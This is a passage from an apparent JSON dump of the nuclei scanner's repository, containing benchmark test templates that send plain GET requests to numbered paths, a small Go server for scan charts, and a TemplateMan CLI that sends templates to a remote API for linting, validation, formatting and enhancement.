(KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /6 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /7 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /8 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /9 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /10 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /11 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /12 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /13 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /14 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /15 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /16 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /17 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - raw:\n      - |\n        GET /18 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\""
  },
  {
    "path": "cmd/nuclei/testdata/benchmark/multiproto/basic-template-multiproto.yaml",
    "content": "id: basic-template-multiproto\n\ninfo:\n  name: Test Template Multiple Protocols\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    id: first_iter_http\n    path:\n      - '{{BaseURL}}/1'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/2'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/3'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/4'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/5'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/6'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/7'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/8'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/9'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/10'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/11'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/12'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/13'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/14'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/15'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/16'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/17'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\"\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/18'\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test matcher text\""
  },
  {
    "path": "cmd/scan-charts/main.go",
    "content": "package main\n\nimport (\n\t\"flag\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan/charts\"\n)\n\nvar (\n\tdir     string\n\taddress string\n\toutput  string\n)\n\nfunc main() {\n\tflag.StringVar(&dir, \"dir\", \"\", \"directory to scan\")\n\tflag.StringVar(&address, \"address\", \":9000\", \"address to run the server on\")\n\tflag.StringVar(&output, \"output\", \"\", \"output filename of generated html file\")\n\tflag.Parse()\n\n\tif dir == \"\" {\n\t\tflag.Usage()\n\t\treturn\n\t}\n\n\tserver, err := charts.NewScanEventsCharts(dir)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tserver.PrintInfo()\n\n\tif output != \"\" {\n\t\tif err = server.GenerateHTML(output); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\treturn\n\t}\n\n\tserver.Start(address)\n}\n"
  },
  {
    "path": "cmd/tmc/main.go",
    "content": "package main\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"reflect\"\n\t\"regexp\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/goflags\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/gologger/levels\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\t\"gopkg.in/yaml.v3\"\n)\n\nconst (\n\tyamlIndentSpaces = 2\n\t// templateman api base url\n\ttmBaseUrlDefault = \"https://tm.nuclei.sh\"\n)\n\nvar tmBaseUrl string\n\nfunc init() {\n\ttmBaseUrl = os.Getenv(\"TEMPLATEMAN_SERVER\")\n\tif tmBaseUrl == \"\" {\n\t\ttmBaseUrl = tmBaseUrlDefault\n\t}\n}\n\n// allTagsRegex is a list of all tags in nuclei templates except id, info, and -\nvar allTagsRegex []*regexp.Regexp\nvar defaultOpts = types.DefaultOptions()\n\nfunc init() {\n\tvar tm templates.Template\n\tt := reflect.TypeOf(tm)\n\tfor i := 0; i < t.NumField(); i++ {\n\t\ttag := t.Field(i).Tag.Get(\"yaml\")\n\t\tif strings.Contains(tag, \",\") {\n\t\t\ttag = strings.Split(tag, \",\")[0]\n\t\t}\n\t\t// ignore these tags\n\t\tif tag == \"id\" || tag == \"info\" || tag == \"\" || tag == \"-\" {\n\t\t\tcontinue\n\t\t}\n\t\tre := regexp.MustCompile(tag + `:\\s*\\n`)\n\t\tif t.Field(i).Type.Kind() == reflect.Bool {\n\t\t\tre = regexp.MustCompile(tag + `:\\s*(true|false)\\s*\\n`)\n\t\t}\n\t\tallTagsRegex = append(allTagsRegex, re)\n\t}\n\n\t// need to set headless to true for headless templates\n\tdefaultOpts.Headless = true\n\tdefaultOpts.EnableCodeTemplates = true\n\tdefaultOpts.EnableSelfContainedTemplates = true\n\tif err := protocolstate.Init(defaultOpts); err != nil {\n\t\tgologger.Fatal().Msgf(\"Could not initialize protocol state: %s\\n\", err)\n\t}\n\tif err := protocolinit.Init(defaultOpts); err != nil {\n\t\tgologger.Fatal().Msgf(\"Could not initialize protocol state: %s\\n\", err)\n\t}\n}\n\ntype options struct {\n\tinput        string\n\terrorLogFile string\n\tlint         bool\n\tvalidate     bool\n\tformat       bool\n\tenhance      bool\n\tmaxRequest   bool\n\tdebug        bool\n}\n\nfunc main() {\n\topts := options{}\n\tflagSet := goflags.NewFlagSet()\n\tflagSet.SetDescription(`TemplateMan CLI is basic utility built on the TemplateMan API to standardize nuclei templates.`)\n\n\tflagSet.CreateGroup(\"Input\", \"input\",\n\t\tflagSet.StringVarP(&opts.input, \"input\", \"i\", \"\", \"Templates to annotate\"),\n\t)\n\n\tflagSet.CreateGroup(\"Config\", \"config\",\n\t\tflagSet.BoolVarP(&opts.lint, \"lint\", \"l\", false, \"lint given nuclei template\"),\n\t\tflagSet.BoolVarP(&opts.validate, \"validate\", \"v\", false, \"validate given nuclei template\"),\n\t\tflagSet.BoolVarP(&opts.format, \"format\", \"f\", false, \"format given nuclei template\"),\n\t\tflagSet.BoolVarP(&opts.enhance, \"enhance\", \"e\", false, \"enhance given nuclei template\"),\n\t\tflagSet.BoolVarP(&opts.maxRequest, \"max-request\", \"mr\", false, \"add / update max request counter\"),\n\t\tflagSet.StringVarP(&opts.errorLogFile, \"error-log\", \"el\", \"\", \"file to write failed template update\"),\n\t\tflagSet.BoolVarP(&opts.debug, \"debug\", \"d\", false, \"show debug message\"),\n\t)\n\n\tif err := flagSet.Parse(); err != nil {\n\t\tgologger.Fatal().Msgf(\"Error parsing flags: %s\\n\", err)\n\t}\n\n\tif opts.input == \"\" {\n\t\tgologger.Fatal().Msg(\"input template path/directory is required\")\n\t}\n\tif strings.HasPrefix(opts.input, \"~/\") {\n\t\thome, err := os.UserHomeDir()\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Failed to read UserHomeDir: %v, provide absolute template path/directory\\n\", err)\n\t\t}\n\t\topts.input = filepath.Join(home, (opts.input)[2:])\n\t}\n\tgologger.DefaultLogger.SetMaxLevel(levels.LevelInfo)\n\tif opts.debug {\n\t\tgologger.DefaultLogger.SetMaxLevel(levels.LevelDebug)\n\t}\n\tif err := process(opts); err != nil {\n\t\tgologger.Error().Msgf(\"could not process: %s\\n\", err)\n\t}\n}\n\nfunc process(opts options) error {\n\ttempDir, err := os.MkdirTemp(\"\", \"nuclei-nvd\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = os.RemoveAll(tempDir)\n\t}()\n\n\tvar errFile *os.File\n\tif opts.errorLogFile != \"\" {\n\t\terrFile, err = os.OpenFile(opts.errorLogFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)\n\t\tif err != nil {\n\t\t\tgologger.Fatal().Msgf(\"could not open error log file: %s\\n\", err)\n\t\t}\n\t\tdefer func() {\n\t\t\t_ = errFile.Close()\n\t\t}()\n\t}\n\n\ttemplateCatalog := disk.NewCatalog(filepath.Dir(opts.input))\n\tpaths, err := templateCatalog.GetTemplatePath(opts.input)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, path := range paths {\n\t\tdata, err := os.ReadFile(path)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdataString := string(data)\n\n\t\tif opts.maxRequest {\n\t\t\tvar updated bool // if max-requests is updated\n\t\t\tdataString, updated, err = parseAndAddMaxRequests(templateCatalog, path, dataString)\n\t\t\tif err != nil {\n\t\t\t\tgologger.Info().Label(\"max-request\").Msg(logErrMsg(path, err, opts.debug, errFile))\n\t\t\t} else {\n\t\t\t\tif updated {\n\t\t\t\t\tgologger.Info().Label(\"max-request\").Msgf(\"✅ updated template: %s\\n\", path)\n\t\t\t\t}\n\t\t\t\t// do not print if max-requests is not updated\n\t\t\t}\n\t\t}\n\n\t\tif opts.lint {\n\t\t\tlint, err := lintTemplate(dataString)\n\t\t\tif err != nil {\n\t\t\t\tgologger.Info().Label(\"lint\").Msg(logErrMsg(path, err, opts.debug, errFile))\n\t\t\t}\n\t\t\tif lint {\n\t\t\t\tgologger.Info().Label(\"lint\").Msgf(\"✅ lint template: %s\\n\", path)\n\t\t\t}\n\t\t}\n\n\t\tif opts.validate {\n\t\t\tvalidate, err := validateTemplate(dataString)\n\t\t\tif err != nil {\n\t\t\t\tgologger.Info().Label(\"validate\").Msg(logErrMsg(path, err, opts.debug, errFile))\n\t\t\t}\n\t\t\tif validate {\n\t\t\t\tgologger.Info().Label(\"validate\").Msgf(\"✅ validated template: %s\\n\", path)\n\t\t\t}\n\t\t}\n\n\t\tif opts.format {\n\t\t\tformattedTemplateData, isFormatted, err := formatTemplate(dataString)\n\t\t\tif err != nil {\n\t\t\t\tgologger.Info().Label(\"format\").Msg(logErrMsg(path, err, opts.debug, errFile))\n\t\t\t} else {\n\t\t\t\tif isFormatted {\n\t\t\t\t\t_ = os.WriteFile(path, []byte(formattedTemplateData), 0644)\n\t\t\t\t\tdataString = formattedTemplateData\n\t\t\t\t\tgologger.Info().Label(\"format\").Msgf(\"✅ formatted template: %s\\n\", path)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif opts.enhance {\n\t\t\tenhancedTemplateData, isEnhanced, err := enhanceTemplate(dataString)\n\t\t\tif err != nil {\n\t\t\t\tgologger.Info().Label(\"enhance\").Msg(logErrMsg(path, err, opts.debug, errFile))\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\tif isEnhanced {\n\t\t\t\t\t_ = os.WriteFile(path, []byte(enhancedTemplateData), 0644)\n\t\t\t\t\tgologger.Info().Label(\"enhance\").Msgf(\"✅ updated template: %s\\n\", path)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc logErrMsg(path string, err error, debug bool, errFile *os.File) string {\n\tmsg := fmt.Sprintf(\"❌ template: %s\\n\", path)\n\tif debug {\n\t\tmsg = fmt.Sprintf(\"❌ template: %s err: %s\\n\", path, err)\n\t}\n\tif errFile != nil {\n\t\t_, _ = fmt.Fprintf(errFile, \"❌ template: %s err: %s\\n\", path, err)\n\t}\n\treturn msg\n}\n\n// enhanceTemplate enhances template data using templateman\n// ref: https://github.com/projectdiscovery/templateman/blob/main/templateman-rest-api/README.md#enhance-api\nfunc enhanceTemplate(data string) (string, bool, error) {\n\tresp, err := retryablehttp.DefaultClient().Post(fmt.Sprintf(\"%s/enhance\", tmBaseUrl), \"application/x-yaml\", strings.NewReader(data))\n\tif err != nil {\n\t\treturn data, false, err\n\t}\n\tif resp.StatusCode != 200 {\n\t\treturn data, false, errkit.New(\"unexpected status code: %v\", resp.Status)\n\t}\n\tvar templateResp TemplateResp\n\tif err := json.NewDecoder(resp.Body).Decode(&templateResp); err != nil {\n\t\treturn data, false, err\n\t}\n\tif strings.TrimSpace(templateResp.Enhanced) != \"\" {\n\t\treturn templateResp.Enhanced, templateResp.Enhance, nil\n\t}\n\tif templateResp.ValidateErrorCount > 0 {\n\t\tif len(templateResp.ValidateError) > 0 {\n\t\t\treturn data, false, errkit.New(templateResp.ValidateError[0].Message+\": at line %v\", templateResp.ValidateError[0].Mark.Line, \"tag\", \"validate\")\n\t\t}\n\t\treturn data, false, errkit.New(\"validation failed\", \"tag\", \"validate\")\n\t}\n\tif templateResp.Error.Name != \"\" {\n\t\treturn data, false, errkit.New(\"%s\", templateResp.Error.Name)\n\t}\n\tif strings.TrimSpace(templateResp.Enhanced) == \"\" && !templateResp.Lint {\n\t\tif templateResp.LintError.Reason != \"\" {\n\t\t\treturn data, false, errkit.New(templateResp.LintError.Reason+\" : at line %v\", templateResp.LintError.Mark.Line, \"tag\", \"lint\")\n\t\t}\n\t\treturn data, false, errkit.New(\"at line: %v\", templateResp.LintError.Mark.Line, \"tag\", \"lint\")\n\t}\n\treturn data, false, errkit.New(\"template enhance failed\")\n}\n\n// formatTemplate formats template data using templateman format api\nfunc formatTemplate(data string) (string, bool, error) {\n\tresp, err := retryablehttp.DefaultClient().Post(fmt.Sprintf(\"%s/format\", tmBaseUrl), \"application/x-yaml\", strings.NewReader(data))\n\tif err != nil {\n\t\treturn data, false, err\n\t}\n\tif resp.StatusCode != 200 {\n\t\treturn data, false, errkit.New(\"unexpected status code: %v\", resp.Status)\n\t}\n\tvar templateResp TemplateResp\n\tif err := json.NewDecoder(resp.Body).Decode(&templateResp); err != nil {\n\t\treturn data, false, err\n\t}\n\tif strings.TrimSpace(templateResp.Updated) != \"\" {\n\t\treturn templateResp.Updated, templateResp.Format, nil\n\t}\n\tif templateResp.ValidateErrorCount > 0 {\n\t\tif len(templateResp.ValidateError) > 0 {\n\t\t\treturn data, false, errkit.New(templateResp.ValidateError[0].Message+\": at line %v\", templateResp.ValidateError[0].Mark.Line, \"tag\", \"validate\")\n\t\t}\n\t\treturn data, false, errkit.New(\"validation failed\", \"tag\", \"validate\")\n\t}\n\tif templateResp.Error.Name != \"\" {\n\t\treturn data, false, errkit.New(\"%s\", templateResp.Error.Name)\n\t}\n\tif strings.TrimSpace(templateResp.Updated) == \"\" && !templateResp.Lint {\n\t\tif templateResp.LintError.Reason != \"\" {\n\t\t\treturn data, false, errkit.New(templateResp.LintError.Reason+\" : at line %v\", templateResp.LintError.Mark.Line, \"tag\", \"lint\")\n\t\t}\n\t\treturn data, false, errkit.New(\"at line: %v\", templateResp.LintError.Mark.Line, \"tag\", \"lint\")\n\t}\n\treturn data, false, errkit.New(\"template format failed\")\n}\n\n// lintTemplate lints template data using templateman lint api\nfunc lintTemplate(data string) (bool, error) {\n\tresp, err := retryablehttp.DefaultClient().Post(fmt.Sprintf(\"%s/lint\", tmBaseUrl), \"application/x-yaml\", strings.NewReader(data))\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif resp.StatusCode != 200 {\n\t\treturn false, errkit.New(\"unexpected status code: %v\", resp.Status)\n\t}\n\tvar lintResp TemplateLintResp\n\tif err := json.NewDecoder(resp.Body).Decode(&lintResp); err != nil {\n\t\treturn false, err\n\t}\n\tif lintResp.Lint {\n\t\treturn true, nil\n\t}\n\tif lintResp.LintError.Reason != \"\" {\n\t\treturn false, errkit.New(lintResp.LintError.Reason+\" : at line %v\", lintResp.LintError.Mark.Line, \"tag\", \"lint\")\n\t}\n\treturn false, errkit.New(\"at line: %v\", lintResp.LintError.Mark.Line, \"tag\", \"lint\")\n}\n\n// validateTemplate validates template data using templateman validate api\nfunc validateTemplate(data string) (bool, error) {\n\tresp, err := retryablehttp.DefaultClient().Post(fmt.Sprintf(\"%s/validate\", tmBaseUrl), \"application/x-yaml\", strings.NewReader(data))\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif resp.StatusCode != 200 {\n\t\treturn false, errkit.New(\"unexpected status code: %v\", resp.Status)\n\t}\n\tvar validateResp TemplateResp\n\tif err := json.NewDecoder(resp.Body).Decode(&validateResp); err != nil {\n\t\treturn false, err\n\t}\n\tif validateResp.Validate {\n\t\treturn true, nil\n\t}\n\tif validateResp.ValidateErrorCount > 0 {\n\t\tif len(validateResp.ValidateError) > 0 {\n\t\t\treturn false, errkit.New(validateResp.ValidateError[0].Message+\": at line %v\", validateResp.ValidateError[0].Mark.Line, \"tag\", \"validate\")\n\t\t}\n\t\treturn false, errkit.New(\"validation failed\", \"tag\", \"validate\")\n\t}\n\tif validateResp.Error.Name != \"\" {\n\t\treturn false, errkit.New(\"%s\", validateResp.Error.Name)\n\t}\n\treturn false, errkit.New(\"template validation failed\")\n}\n\n// parseAndAddMaxRequests parses and adds max requests to templates\nfunc parseAndAddMaxRequests(catalog catalog.Catalog, path, data string) (string, bool, error) {\n\ttemplate, err := parseTemplate(catalog, path)\n\tif err != nil {\n\t\treturn data, false, err\n\t}\n\tif template.TotalRequests < 1 {\n\t\treturn data, false, nil\n\t}\n\t// Marshal the updated info block back to YAML.\n\tinfoBlockStart, infoBlockEnd := getInfoStartEnd(data)\n\tinfoBlockOrig := data[infoBlockStart:infoBlockEnd]\n\tinfoBlockOrig = strings.TrimRight(infoBlockOrig, \"\\n\")\n\tinfoBlock := InfoBlock{}\n\terr = yaml.Unmarshal([]byte(data), &infoBlock)\n\tif err != nil {\n\t\treturn data, false, err\n\t}\n\t// if metadata is nil, create a new map\n\tif infoBlock.Info.Metadata == nil {\n\t\tinfoBlock.Info.Metadata = make(map[string]interface{})\n\t}\n\t// do not update if it is already present and equal\n\tif mr, ok := infoBlock.Info.Metadata[\"max-request\"]; ok && mr.(int) == template.TotalRequests {\n\t\treturn data, false, nil\n\t}\n\tinfoBlock.Info.Metadata[\"max-request\"] = template.TotalRequests\n\n\tvar newInfoBlock bytes.Buffer\n\tyamlEncoder := yaml.NewEncoder(&newInfoBlock)\n\tyamlEncoder.SetIndent(yamlIndentSpaces)\n\terr = yamlEncoder.Encode(infoBlock)\n\tif err != nil {\n\t\treturn data, false, err\n\t}\n\tnewInfoBlockData := strings.TrimSuffix(newInfoBlock.String(), \"\\n\")\n\t// replace old info block with new info block\n\tnewTemplate := strings.ReplaceAll(data, infoBlockOrig, newInfoBlockData)\n\terr = os.WriteFile(path, []byte(newTemplate), 0644)\n\tif err == nil {\n\t\treturn newTemplate, true, nil\n\t}\n\treturn newTemplate, false, err\n}\n\n// parseTemplate parses a template and returns the template object\nfunc parseTemplate(catalog catalog.Catalog, templatePath string) (*templates.Template, error) {\n\texecutorOpts := &protocols.ExecutorOptions{\n\t\tCatalog: catalog,\n\t\tOptions: defaultOpts,\n\t}\n\treader, err := executorOpts.Catalog.OpenFile(templatePath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttemplate, err := templates.ParseTemplateFromReader(reader, nil, executorOpts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn template, nil\n}\n\n// find the start and end of the info block\nfunc getInfoStartEnd(data string) (int, int) {\n\tinfo := strings.Index(data, \"info:\")\n\tvar indices []int\n\tfor _, re := range allTagsRegex {\n\t\t// find the first occurrence of the label\n\t\tmatch := re.FindStringIndex(data)\n\t\tif match != nil {\n\t\t\tindices = append(indices, match[0])\n\t\t}\n\t}\n\t// find the first one after info block\n\tsort.Ints(indices)\n\treturn info, indices[0] - 1\n}\n"
  },
  {
    "path": "cmd/tmc/types.go",
    "content": "package main\n\ntype Mark struct {\n\tName     string `json:\"name,omitempty\"`\n\tPosition int    `json:\"position,omitempty\"`\n\tLine     int    `json:\"line,omitempty\"`\n\tColumn   int    `json:\"column,omitempty\"`\n\tSnippet  string `json:\"snippet,omitempty\"`\n}\n\ntype Error struct {\n\tName string `json:\"name\"`\n\tMark Mark   `json:\"mark\"`\n}\n\ntype LintError struct {\n\tName   string `json:\"name,omitempty\"`\n\tReason string `json:\"reason,omitempty\"`\n\tMark   Mark   `json:\"mark,omitempty\"`\n}\n\ntype TemplateLintResp struct {\n\tInput     string    `json:\"template_input,omitempty\"`\n\tLint      bool      `json:\"template_lint,omitempty\"`\n\tLintError LintError `json:\"lint_error,omitempty\"`\n}\n\ntype ValidateError struct {\n\tLocation string      `json:\"location,omitempty\"`\n\tMessage  string      `json:\"message,omitempty\"`\n\tName     string      `json:\"name,omitempty\"`\n\tArgument interface{} `json:\"argument,omitempty\"`\n\tStack    string      `json:\"stack,omitempty\"`\n\tMark     struct {\n\t\tLine   int `json:\"line,omitempty\"`\n\t\tColumn int `json:\"column,omitempty\"`\n\t\tPos    int `json:\"pos,omitempty\"`\n\t} `json:\"mark,omitempty\"`\n}\n\n// TemplateResponse from templateman to be used for enhancing and formatting\ntype TemplateResp struct {\n\tInput              string          `json:\"template_input,omitempty\"`\n\tFormat             bool            `json:\"template_format,omitempty\"`\n\tUpdated            string          `json:\"updated_template,omitempty\"`\n\tEnhance            bool            `json:\"template_enhance,omitempty\"`\n\tEnhanced           string          `json:\"enhanced_template,omitempty\"`\n\tLint               bool            `json:\"template_lint,omitempty\"`\n\tLintError          LintError       `json:\"lint_error,omitempty\"`\n\tValidate           bool            `json:\"template_validate,omitempty\"`\n\tValidateErrorCount int             `json:\"validate_error_count,omitempty\"`\n\tValidateError      []ValidateError `json:\"validate_error,omitempty\"`\n\tError              Error           `json:\"error,omitempty\"`\n}\n\n// InfoBlock Cloning struct from nuclei as we don't want any validation\ntype InfoBlock struct {\n\tInfo TemplateInfo `yaml:\"info\"`\n}\n\ntype TemplateClassification struct {\n\tCvssMetrics string  `yaml:\"cvss-metrics,omitempty\"`\n\tCvssScore   float64 